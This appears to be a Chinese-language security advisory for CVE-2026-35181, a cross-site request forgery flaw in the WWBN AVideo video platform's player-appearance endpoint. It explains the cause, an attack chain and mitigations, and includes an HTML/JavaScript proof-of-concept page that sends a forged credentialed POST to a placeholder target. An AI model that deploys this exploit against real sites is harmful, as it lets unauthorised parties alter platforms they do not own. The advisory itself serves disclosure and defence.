CVE-2026-35181 CVSS 4.3 中危

CVE-2026-35181: WWBN AVideo跨站请求伪造漏洞

披露日期: 2026-04-06

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-35181

漏洞类型

CSRF

CVSS评分

4.3 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

WWBN AVideo

漏洞概述

WWBN AVideo是一个开源视频平台。在26.0及更早版本中，其播放器外观配置端点缺乏CSRF令牌验证机制。同时，由于ORM的安全检查被显式绕过，且系统使用SameSite=None属性的Cookie，攻击者可以通过构造跨源POST请求，诱导用户进行交互，从而修改整个平台的视频播放器外观，造成完整性风险。

技术细节

该漏洞的核心在于CSRF防护的缺失以及不安全的配置。首先，受影响版本的AVideo平台在`admin/playerUpdate.json.php`端点处理播放器皮肤更新请求时，未验证CSRF令牌，无法区分请求是否由用户主动发起。其次，ORM层的安全机制通过`ignoreTableSecurityCheck()`函数对plugins表进行了显式排除，移除了基于域的安全检查这一关键防御层。最后，由于系统配置使用了`SameSite=None`属性的Cookie，浏览器不会阻止跨站点发送的Cookie。结合以上因素，攻击者可以构造恶意页面，诱导已登录用户访问，利用受害者的浏览器会话向目标端点发送跨域POST请求，从而篡改平台播放器的全局外观设置。

攻击链分析

STEP 1

步骤1：构造攻击页面

攻击者准备一个恶意HTML页面，其中包含向`admin/playerUpdate.json.php`发送伪造POST请求的JavaScript代码。

STEP 2

步骤2：诱导访问

攻击者通过社会工程学手段（如钓鱼邮件）诱导已登录AVideo平台的受害者访问该恶意页面。

STEP 3

步骤3：发送跨域请求

受害者浏览器解析页面后，自动向目标服务器发起跨域POST请求，携带认证Cookie。

STEP 4

步骤4：执行未授权操作

由于服务端缺少CSRF验证且Cookie允许跨站携带，服务器接受请求并更新播放器皮肤配置。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- Proof of Concept for CVE-2026-35181 -->
<!-- This PoC demonstrates a CSRF attack to modify player skin -->
<html>
  <body>
    <script>
      // Target endpoint vulnerable to CSRF
      const targetUrl = "http://target-site/admin/playerUpdate.json.php";
      
      // Payload to modify player appearance (example parameters)
      const params = new URLSearchParams();
      params.append("skin", "malicious_skin_name");
      params.append("layout", "hacked_layout");
      
      // Send cross-origin POST request using fetch
      fetch(targetUrl, {
        method: "POST",
        headers: {
          "Content-Type": "application/x-www-form-urlencoded"
        },
        body: params,
        credentials: "include" // Include cookies for authentication
      }).then(response => {
        console.log("Attack request sent");
      });
    </script>
  </body>
</html>

影响范围

WWBN AVideo <= 26.0

防御指南

临时缓解措施

如果无法立即升级，建议通过Web应用防火墙（WAF）规则拦截对该端点的非同源POST请求，或临时限制对`admin/playerUpdate.json.php`的访问IP，仅允许可信的管理员IP访问。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表